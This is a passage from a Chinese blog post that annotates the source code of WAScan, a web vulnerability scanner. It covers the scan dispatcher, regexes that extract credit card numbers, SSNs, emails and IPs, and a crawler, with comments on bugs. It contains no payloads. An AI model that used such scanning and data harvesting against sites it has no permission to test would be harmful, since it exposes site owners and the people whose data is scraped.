<p>对应代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">wascan</span><span class="params">(object)</span>:</span></div><div class="line">    ...省略...</div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">(self)</span>:</span></div><div class="line">		...省略...</div><div class="line">		scan = <span class="string">"5"</span></div><div class="line">		...省略...</div><div class="line">		<span class="keyword">try</span>:</div><div class="line">			<span class="comment"># 打印时间和URL</span></div><div class="line">			PTIME(url)</div><div class="line">			<span class="keyword">if</span> kwargs[<span class="string">'brute'</span>]:</div><div class="line">				BruteParams(kwargs,url,kwargs[<span class="string">'data'</span>]).run()</div><div class="line">			<span class="keyword">if</span> scan == <span class="number">0</span>:</div><div class="line">				Fingerprint(kwargs,url).run()</div><div class="line">			<span class="keyword">if</span> scan == <span class="number">1</span>:</div><div class="line">				Attacks(kwargs,url,kwargs[<span class="string">'data'</span>])</div><div class="line">			<span class="keyword">if</span> scan == <span class="number">2</span>:</div><div class="line">				Audit(kwargs,url,kwargs[<span class="string">'data'</span>])</div><div class="line">			<span class="keyword">if</span> scan == <span class="number">3</span>:</div><div class="line">				Brute(kwargs,url,kwargs[<span class="string">'data'</span>])</div><div class="line">			<span class="keyword">if</span> scan == <span class="number">4</span>:</div><div class="line">				Disclosure(kwargs,url,kwargs[<span class="string">'data'</span>]).run()</div><div class="line">			<span class="comment"># full scan  </span></div><div class="line">			<span class="keyword">if</span> int(scan) == <span class="number">5</span>:</div><div class="line">				info(<span class="string">'Starting full scan module...'</span>)</div><div class="line">				Fingerprint(kwargs,url).run()</div><div class="line">				<span class="keyword">for</span> u <span class="keyword">in</span> Crawler().run(kwargs,url,kwargs[<span class="string">'data'</span>]):</div><div class="line">					test(<span class="string">'Testing URL: %s'</span>%(u))</div><div class="line">					<span class="keyword">if</span> <span class="string">'?'</span> <span class="keyword">not</span> <span class="keyword">in</span> url:</div><div class="line">						warn(<span class="string">'Not found query in this URL... Skipping..'</span>)</div><div class="line">					<span class="keyword">if</span> type(u[<span class="number">0</span>]) <span class="keyword">is</span> tuple:</div><div class="line">						kwargs[<span class="string">'data'</span>] = u[<span class="number">1</span>]</div><div class="line">						FullScan(kwargs,u[<span class="number">0</span>],kwargs[<span class="string">'data'</span>])</div><div class="line">					<span class="keyword">else</span>:</div><div class="line">						FullScan(kwargs,u,kwargs[<span class="string">'data'</span>])</div><div class="line">				Audit(kwargs,parse.netloc,kwargs[<span class="string">'data'</span>])</div><div class="line">				Brute(kwargs,parse.netloc,kwargs[<span class="string">'data'</span>])</div><div class="line">		<span class="keyword">except</span> WascanUnboundLocalError,e:</div><div class="line">			<span class="keyword">pass</span></div></pre></td></tr></table></figure></p>
<h1 id="lib-parser-文件夹"><a href="#lib-parser-文件夹" class="headerlink" title="lib/parser 文件夹"></a>lib/parser 文件夹</h1><p>主要定义一些匹配模式，用于查找页面上的各种信息。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">│   ├── parser</div><div class="line">│   │   ├── getcc.py</div><div class="line">│   │   ├── getip.py</div><div class="line">│   │   ├── getmail.py</div><div class="line">│   │   ├── getssn.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   └── parse.py</div></pre></td></tr></table></figure></p>
<h2 id="信用卡：lib-parser-getcc-py"><a href="#信用卡：lib-parser-getcc-py" class="headerlink" title="信用卡：lib/parser/getcc.py"></a>信用卡：lib/parser/getcc.py</h2><p>获取信用卡信息<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">getcc</span><span class="params">(content)</span>:</span></div><div class="line">	<span class="string">"""Credit Card"""</span></div><div class="line">	CC_LIST = re.findall(<span class="string">r'((^|\s)\d&#123;4&#125;[- ]?(\d&#123;4&#125;[- ]?\d&#123;4&#125;|\d&#123;6&#125;)[- ]?(\d&#123;5&#125;|\d&#123;4&#125;)($|\s))'</span>,content)</div><div class="line">	<span class="keyword">if</span> CC_LIST != <span class="keyword">None</span> <span class="keyword">or</span> CC_LIST != []:</div><div class="line">		<span class="keyword">return</span> CC_LIST</div></pre></td></tr></table></figure></p>
<h2 id="IP：lib-parser-getip-py"><a href="#IP：lib-parser-getip-py" class="headerlink" title="IP：lib/parser/getip.py"></a>IP：lib/parser/getip.py</h2><p>获取ip<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">getip</span><span class="params">(content)</span>:</span></div><div class="line">	<span class="string">"""Private IP"""</span></div><div class="line">	IP_LIST = re.findall(<span class="string">r'[0-9]+(?:\.[0-9]+)&#123;3&#125;'</span>,content,re.I)</div><div class="line">	<span class="keyword">if</span> IP_LIST != <span class="keyword">None</span> <span class="keyword">or</span> IP_LIST != []:</div><div class="line">		<span class="keyword">return</span> IP_LIST</div></pre></td></tr></table></figure></p>
<h2 id="邮箱：lib-parer-getmail-py"><a href="#邮箱：lib-parer-getmail-py" class="headerlink" title="邮箱：lib/parer/getmail.py"></a>邮箱：lib/parer/getmail.py</h2><p>获取邮箱<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">getmail</span><span class="params">(content)</span>:</span></div><div class="line">	<span class="string">"""E-mail"""</span></div><div class="line">	EMAIL_LIST = re.findall(<span class="string">r'[a-zA-Z0-9.\-_+#~!$&amp;\',;=:]+@+[a-zA-Z0-9-]*\.\w*'</span>,content)</div><div class="line">	<span class="keyword">if</span> EMAIL_LIST != <span class="keyword">None</span> <span class="keyword">or</span> EMAIL_LIST != []:</div><div class="line">		<span class="keyword">return</span> EMAIL_LIST</div></pre></td></tr></table></figure></p>
<h2 id="US-SSN-lib-parser-getssn-py"><a href="#US-SSN-lib-parser-getssn-py" class="headerlink" title="US SSN: lib/parser/getssn.py"></a>US SSN: lib/parser/getssn.py</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">getssn</span><span class="params">(content)</span>:</span></div><div class="line">	<span class="string">"""US Social Security number"""</span></div><div class="line">	SSN_LIST = re.findall(<span class="string">r'(((?!000)(?!666)(?:[0-6]\d&#123;2&#125;|7[0-2][0-9]|73[0-3]|7[5-6][0-9]|77[0-2]))-((?!00)\d&#123;2&#125;)-((?!0000)\d&#123;4&#125;))'</span>,content)</div><div class="line">	<span class="keyword">if</span> SSN_LIST != <span class="keyword">None</span> <span class="keyword">or</span> SSN_LIST != []:</div><div class="line">		<span class="keyword">return</span> SSN_LIST</div></pre></td></tr></table></figure>
<h2 id="抓取解析-lib-parser-parse-py"><a href="#抓取解析-lib-parser-parse-py" class="headerlink" title="抓取解析: lib/parser/parse.py"></a>抓取解析: lib/parser/parse.py</h2><p><code>parse</code>类，进行真正的信息搜集工作。定义了<code>clean</code>方法，将响应中的各种标签，各种可能的符号直接<code>replace</code>掉，然后再进行真正的搜索。简单粗暴。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">parse</span>:</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,content)</span>:</span></div><div class="line">		self.content = content </div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">clean</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""Clean HTML Response"""</span></div><div class="line">		self.content = re.sub(<span class="string">'&lt;em&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;b&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;/b&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;strong&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;/strong&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;/em&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;wbr&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;/wbr&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;li&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		self.content = re.sub(<span class="string">'&lt;/li&gt;'</span>,<span class="string">''</span>,self.content)</div><div class="line">		<span class="keyword">for</span> x <span class="keyword">in</span> (<span class="string">'&gt;'</span>, <span class="string">':'</span>, <span class="string">'='</span>, <span class="string">'&lt;'</span>, <span class="string">'/'</span>, <span class="string">'\\'</span>, <span class="string">';'</span>, <span class="string">'&amp;'</span>, <span class="string">'%3A'</span>, <span class="string">'%3D'</span>, <span class="string">'%3C'</span>):</div><div class="line">			self.content = string.replace(self.content,x,<span class="string">' '</span>)</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">getmail</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""Get Emails"""</span></div><div class="line">		self.clean()</div><div class="line">		<span class="keyword">return</span> getmail(self.content)</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">getip</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Get IP """</span></div><div class="line">		self.clean()</div><div class="line">		<span class="keyword">return</span> getip(self.content)</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">getcc</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Get Credit Card"""</span></div><div class="line">		self.clean()</div><div class="line">		<span class="keyword">return</span> getcc(self.content)</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">getssn</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" """</span></div><div class="line">		self.clean()</div><div class="line">		<span class="keyword">return</span> getssn(self.content)</div></pre></td></tr></table></figure></p>
<h1 id="lib-request-文件夹"><a href="#lib-request-文件夹" class="headerlink" title="lib/request 文件夹"></a>lib/request 文件夹</h1><p>主要是定义一些跟<code>请求</code>相关的方法/类/功能<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">│   ├── request</div><div class="line">│   │   ├── crawler.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   ├── ragent.py</div><div class="line">│   │   └── request.py</div></pre></td></tr></table></figure></p>
<h2 id="爬虫：lib-request-crawler-py"><a href="#爬虫：lib-request-crawler-py" class="headerlink" title="爬虫：lib/request/crawler.py"></a>爬虫：lib/request/crawler.py</h2><p>如名，爬虫。爬取页面上的所有连接。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">try</span>:</div><div class="line">	<span class="keyword">from</span> BeautifulSoup <span class="keyword">import</span> BeautifulSoup</div><div class="line"><span class="keyword">except</span> ImportError:</div><div class="line">	<span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</div><div class="line"></div><div class="line"><span class="comment"># 定义了要排除的情况。比如 确定是 7z后缀名，说明是压缩包 而不是网页</span></div><div class="line">EXCLUDED_MEDIA_EXTENSIONS = (</div><div class="line">    <span class="string">'.7z'</span>, <span class="string">'.aac'</span>, <span class="string">'.aiff'</span>, <span class="string">'.au'</span>, <span class="string">'.avi'</span>, <span class="string">'.bin'</span>, <span class="string">'.bmp'</span>, <span class="string">'.cab'</span>, <span class="string">'.dll'</span>, <span class="string">'.dmp'</span>, <span class="string">'.ear'</span>, <span class="string">'.exe'</span>, <span class="string">'.flv'</span>, <span class="string">'.gif'</span>,</div><div class="line">    <span class="string">'.gz'</span>, <span class="string">'.image'</span>, <span class="string">'.iso'</span>, <span class="string">'.jar'</span>, <span class="string">'.jpeg'</span>, <span class="string">'.jpg'</span>, <span class="string">'.mkv'</span>, <span class="string">'.mov'</span>, <span class="string">'.mp3'</span>, <span class="string">'.mp4'</span>, <span class="string">'.mpeg'</span>, <span class="string">'.mpg'</span>, <span class="string">'.pdf'</span>, <span class="string">'.png'</span>,</div><div class="line">    <span class="string">'.ps'</span>, <span class="string">'.rar'</span>, <span class="string">'.scm'</span>, <span class="string">'.so'</span>, <span class="string">'.tar'</span>, <span class="string">'.tif'</span>, <span class="string">'.war'</span>, <span class="string">'.wav'</span>, <span class="string">'.wmv'</span>, <span class="string">'.zip'</span></div><div class="line">)</div></pre></td></tr></table></figure></p>
<p>接下来是爬虫类<code>SCrawler</code>，它继承自<code>Request</code>类。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div><div class="line">93</div><div class="line">94</div><div class="line">95</div><div class="line">96</div><div class="line">97</div><div class="line">98</div><div class="line">99</div><div class="line">100</div><div class="line">101</div><div class="line">102</div><div class="line">103</div><div class="line">104</div><div class="line">105</div><div class="line">106</div><div class="line">107</div><div class="line">108</div><div class="line">109</div><div class="line">110</div><div class="line">111</div><div class="line">112</div><div class="line">113</div><div class="line">114</div><div class="line">115</div><div class="line">116</div><div class="line">117</div><div class="line">118</div><div class="line">119</div><div class="line">120</div><div class="line">121</div><div class="line">122</div><div class="line">123</div><div class="line">124</div><div class="line">125</div><div class="line">126</div><div class="line">127</div><div class="line">128</div><div class="line">129</div><div class="line">130</div><div class="line">131</div><div class="line">132</div><div class="line">133</div><div class="line">134</div><div class="line">135</div><div class="line">136</div><div class="line">137</div><div class="line">138</div><div class="line">139</div><div class="line">140</div><div class="line">141</div><div class="line">142</div><div class="line">143</div><div class="line">144</div><div class="line">145</div><div class="line">146</div><div class="line">147</div><div class="line">148</div><div class="line">149</div><div class="line">150</div><div class="line">151</div><div class="line">152</div><div class="line">153</div><div class="line">154</div><div class="line">155</div><div class="line">156</div><div class="line">157</div><div class="line">158</div><div class="line">159</div><div class="line">160</div><div class="line">161</div><div class="line">162</div><div class="line">163</div><div class="line">164</div><div class="line">165</div><div class="line">166</div><div class="line">167</div><div class="line">168</div><div class="line">169</div><div class="line">170</div><div class="line">171</div><div class="line">172</div><div class="line">173</div><div class="line">174</div><div class="line">175</div><div class="line">176</div><div class="line">177</div><div class="line">178</div><div class="line">179</div><div class="line">180</div><div class="line">181</div><div class="line">182</div><div class="line">183</div><div class="line">184</div><div class="line">185</div><div class="line">186</div><div class="line">187</div><div class="line">188</div><div class="line">189</div><div class="line">190</div><div class="line">191</div><div class="line">192</div><div class="line">193</div><div class="line">194</div><div class="line">195</div><div class="line">196</div><div class="line">197</div><div class="line">198</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">SCrawler</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">""" Simple Crawler """</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		<span class="comment"># 父类初始化</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		<span class="comment"># url</span></div><div class="line">		self.url = url </div><div class="line">		<span class="comment"># post 的 data体</span></div><div class="line">		self.data = data</div><div class="line">		<span class="comment"># 表格？</span></div><div class="line">		self.forms = []</div><div class="line">		<span class="comment"># ok 的 链接</span></div><div class="line">		self.ok_links = []</div><div class="line">		<span class="comment"># 所有 链接</span></div><div class="line">		self.all_links = []</div><div class="line">		<span class="comment"># 协议</span></div><div class="line">		self.scheme = urlsplit(url).scheme</div><div class="line">		<span class="comment"># 域名</span></div><div class="line">		self.netloc = urlsplit(url).netloc</div><div class="line">		<span class="comment"># 内容 初始化为 空</span></div><div class="line">		self.content = <span class="keyword">None</span></div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="comment"># send request</span></div><div class="line">		resp = self.Send(url=self.url,data=self.data)</div><div class="line">		<span class="comment"># 获取响应内容</span></div><div class="line">		self.content = resp.content</div><div class="line">		<span class="comment"># 调用extract解析出相应内容</span></div><div class="line">		self.extract </div><div class="line">		<span class="keyword">for</span> link <span class="keyword">in</span> self.all_links:</div><div class="line">			<span class="comment"># 对于 all_links 中的所有链接，包括 绝对URL 、 相对URL</span></div><div class="line">			<span class="comment"># 调用 absolute(link) 统一为 绝对URL</span></div><div class="line">			r_link = self.absolute(link)</div><div class="line">			<span class="keyword">if</span> r_link:</div><div class="line">				<span class="comment"># 如果 r_link 还未被收录到 ok_links 中，则添加</span></div><div class="line">				<span class="keyword">if</span> r_link <span class="keyword">not</span> <span class="keyword">in</span> self.ok_links:</div><div class="line">					self.ok_links.append(r_link)</div><div class="line">		<span class="keyword">return</span> self.ok_links</div><div class="line"></div><div class="line"><span class="meta">	@property</span></div><div class="line">	<span class="comment"># 疑问：&lt;img src="" &gt; 此链接不收取？</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">extract</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="comment"># href 找到页面里所有的 超链接 &lt;a href="http://test/com"&gt;test&lt;/a&gt;</span></div><div class="line">		<span class="keyword">for</span> tag <span class="keyword">in</span> self.soup.findAll(<span class="string">'a'</span>,href=<span class="keyword">True</span>):</div><div class="line">			<span class="comment"># 添加到 all_links 中</span></div><div class="line">			self.all_links.append(tag[<span class="string">'href'</span>].split(<span class="string">'#'</span>)[<span class="number">0</span>])</div><div class="line">		<span class="comment"># src 找到页面里所有的 连接 &lt;frame src=""&gt; &lt;iframe src=""&gt;</span></div><div class="line">		<span class="keyword">for</span> tag <span class="keyword">in</span> self.soup.findAll([<span class="string">'frame'</span>,<span class="string">'iframe'</span>],src=<span class="keyword">True</span>):</div><div class="line">			self.all_links.append(tag[<span class="string">'src'</span>].split(<span class="string">'#'</span>)[<span class="number">0</span>])</div><div class="line">		<span class="comment"># formaction 定位 button 提取formaction &lt;button type="submit" formaction="demo_admin.asp"&gt;以管理员身份提交&lt;/button&gt;</span></div><div class="line">		<span class="keyword">for</span> tag <span class="keyword">in</span> self.soup.findAll(<span class="string">'button'</span>,formaction=<span class="keyword">True</span>):</div><div class="line">			self.all_links.append(tag[<span class="string">'formaction'</span>])</div><div class="line">		<span class="comment"># extract form </span></div><div class="line">		<span class="comment"># &lt;form action="demo_form.asp" method="get"&gt;</span></div><div class="line">		<span class="comment"># 	&lt;input type="text" name="lname" /&gt;</span></div><div class="line">		<span class="comment"># &lt;button type="submit"&gt;提交&lt;/button&gt;&lt;br /&gt;</span></div><div class="line">		form = self.form()</div><div class="line">		<span class="keyword">if</span> form != <span class="keyword">None</span> <span class="keyword">and</span> form != []:</div><div class="line">			<span class="keyword">if</span> form <span class="keyword">not</span> <span class="keyword">in</span> self.all_links:</div><div class="line">				self.all_links.append(form)</div><div class="line"></div><div class="line"><span class="meta">	@property</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">soup</span><span class="params">(self)</span>:</span></div><div class="line">		soup = BeautifulSoup(self.content)</div><div class="line">		<span class="keyword">return</span> soup</div><div class="line"></div><div class="line">	<span class="comment"># 检查link中的 后缀名</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">check_ext</span><span class="params">(self,link)</span>:</span></div><div class="line">		<span class="string">"""check extension"""</span></div><div class="line">		<span class="keyword">if</span> link <span class="keyword">not</span> <span class="keyword">in</span> EXCLUDED_MEDIA_EXTENSIONS:</div><div class="line">			<span class="keyword">return</span> link</div><div class="line"></div><div class="line">	<span class="comment"># 检查是否有定义 method，若无则默认为 GET</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">check_method</span><span class="params">(self,method)</span>:</span></div><div class="line">		<span class="string">"""check method"""</span></div><div class="line">		<span class="keyword">if</span> method != []:</div><div class="line">			<span class="keyword">return</span> <span class="string">"GET"</span></div><div class="line">		<span class="keyword">elif</span> method != []:</div><div class="line">			<span class="keyword">return</span> method[<span class="number">0</span>]</div><div class="line">	</div><div class="line">	<span class="comment"># 检查 url 的合法性</span></div><div class="line">	<span class="comment"># 编码 、空格、 # 等</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">check_url</span><span class="params">(self,url)</span>:</span></div><div class="line">		<span class="string">"""check url"""</span></div><div class="line">		url = unquote_plus(url)</div><div class="line">		url = url.replace(<span class="string">"&amp;amp;"</span>,<span class="string">"&amp;"</span>)</div><div class="line">		url = url.replace(<span class="string">"#"</span>,<span class="string">""</span>)</div><div class="line">		url = url.replace(<span class="string">" "</span>,<span class="string">"+"</span>)</div><div class="line">		<span class="keyword">return</span> url </div><div class="line">	<span class="comment"># 检查 action 对应的值 </span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">check_action</span><span class="params">(self,action,url)</span>:</span></div><div class="line">		<span class="string">""" check form action """</span></div><div class="line">		<span class="keyword">if</span> action == [] <span class="keyword">or</span> action[<span class="number">0</span>] == <span class="string">"/"</span>:</div><div class="line">			<span class="keyword">return</span> self.check_url(url)</div><div class="line">		<span class="keyword">elif</span> action != [] <span class="keyword">and</span> action != <span class="string">""</span>:</div><div class="line">			<span class="keyword">if</span> action[<span class="number">0</span>] <span class="keyword">in</span> url:</div><div class="line">				self.check_url(url)</div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				<span class="keyword">return</span> self.check_url(CPath(url+action[<span class="number">0</span>]))</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">check_name_value</span><span class="params">(self,string)</span>:</span></div><div class="line">		<span class="string">""" check form name and value """</span></div><div class="line">		<span class="keyword">if</span> string == []:</div><div class="line">			<span class="keyword">return</span> <span class="string">"TEST"</span></div><div class="line">		<span class="keyword">elif</span> string != []:</div><div class="line">			<span class="keyword">return</span> string[<span class="number">0</span>]</div><div class="line"></div><div class="line">	<span class="comment"># &lt;form action="demo_form.asp" method="get"&gt;</span></div><div class="line">	<span class="comment"># 	&lt;input type="text" name="lname" /&gt;</span></div><div class="line">	<span class="comment"># &lt;button type="submit"&gt;提交&lt;/button&gt;&lt;br /&gt;</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">form</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" search forms """</span></div><div class="line">		<span class="comment"># 搜索表格 加入到 self.forms 中</span></div><div class="line">		<span class="keyword">for</span> form <span class="keyword">in</span> self.soup.findAll(<span class="string">'form'</span>):</div><div class="line">			<span class="keyword">if</span> form <span class="keyword">not</span> <span class="keyword">in</span> self.forms:</div><div class="line">				self.forms.append(form)</div><div class="line">		<span class="keyword">for</span> form <span class="keyword">in</span> self.forms:</div><div class="line">			<span class="keyword">if</span> form != <span class="string">""</span> <span class="keyword">and</span> form != <span class="keyword">None</span>:</div><div class="line">				<span class="comment"># 调用 extract_form 将 url 从中解析出来</span></div><div class="line">				<span class="keyword">return</span> self.extract_form(str(form),self.url)</div><div class="line"></div><div class="line">	<span class="comment"># &lt;form action="demo_form.asp" method="get"&gt;</span></div><div class="line">	<span class="comment"># 	&lt;input type="text" name="lname" /&gt;</span></div><div class="line">	<span class="comment"># &lt;button type="submit"&gt;提交&lt;/button&gt;&lt;br /&gt;</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">extract_form</span><span class="params">(self,form,url)</span>:</span></div><div class="line">		<span class="string">""" extract form """</span></div><div class="line">		query = []</div><div class="line">		action = <span class="string">""</span></div><div class="line">		method = <span class="string">""</span></div><div class="line">		<span class="keyword">try</span>:</div><div class="line">			<span class="comment"># method </span></div><div class="line">			method += self.check_method(findall(<span class="string">r'method=[\'\"](.+?)[\'\"]'</span>,form,I))</div><div class="line">			<span class="comment"># action</span></div><div class="line">			action += self.check_action((findall(<span class="string">r'method=[\'\"](.+?)[\'\"]'</span>,form,I),url))</div><div class="line">		<span class="keyword">except</span> Exception,e:</div><div class="line">			<span class="keyword">pass</span></div><div class="line">		<span class="comment"># 寻找form中的参数 ，并保存到 query 中</span></div><div class="line">		<span class="keyword">for</span> inputs <span class="keyword">in</span> form.split(<span class="string">'/&gt;'</span>):</div><div class="line">			<span class="keyword">if</span> search(<span class="string">r'\&lt;input'</span>,inputs,I):</div><div class="line">				<span class="keyword">try</span>:</div><div class="line">					<span class="comment"># name</span></div><div class="line">					name = self.check_name_value(findall(<span class="string">r'name=[\'\"](.+?)[\'\"]'</span>,inputs,I))</div><div class="line">					<span class="comment"># value</span></div><div class="line">					value = self.check_name_value(findall(<span class="string">r'value=[\'\"](.+?)[\'\"]'</span>,inputs,I))</div><div class="line">					name_value = <span class="string">"%s=%s"</span>%(name,value)</div><div class="line">					<span class="keyword">if</span> len(query) == <span class="number">0</span>:query.append(name_value)</div><div class="line">					<span class="keyword">if</span> len(query) == <span class="number">1</span>:query[<span class="number">0</span>] += <span class="string">"&amp;%s"</span>%(name_value) </div><div class="line">				<span class="keyword">except</span> Exception,e:</div><div class="line">					<span class="keyword">pass</span></div><div class="line">		<span class="comment"># 根据 method 的不同，组装url</span></div><div class="line">		<span class="keyword">if</span> action:</div><div class="line">			<span class="keyword">if</span> method.lower() == <span class="string">"get"</span>:</div><div class="line">				<span class="keyword">if</span> query != []:</div><div class="line">					<span class="keyword">return</span> <span class="string">"%s?%s"</span>%(action,query[<span class="number">0</span>])</div><div class="line">				<span class="keyword">return</span> action</div><div class="line">			<span class="keyword">elif</span> method.lower() == <span class="string">"post"</span>:</div><div class="line">				<span class="keyword">if</span> query != []:</div><div class="line">					<span class="keyword">return</span> action,query[<span class="number">0</span>]</div><div class="line">				<span class="keyword">return</span> action</div><div class="line">		<span class="comment"># 注，这里存在BUG。</span></div><div class="line">		<span class="comment"># 调用链 form = self.form()</span></div><div class="line">		<span class="comment">#	form() 的返回 return self.extract_form(str(form),self.url)</span></div><div class="line">		<span class="comment">#   extract_form  在 method为 POST 且 query != []  的情况下 ，</span></div><div class="line">		<span 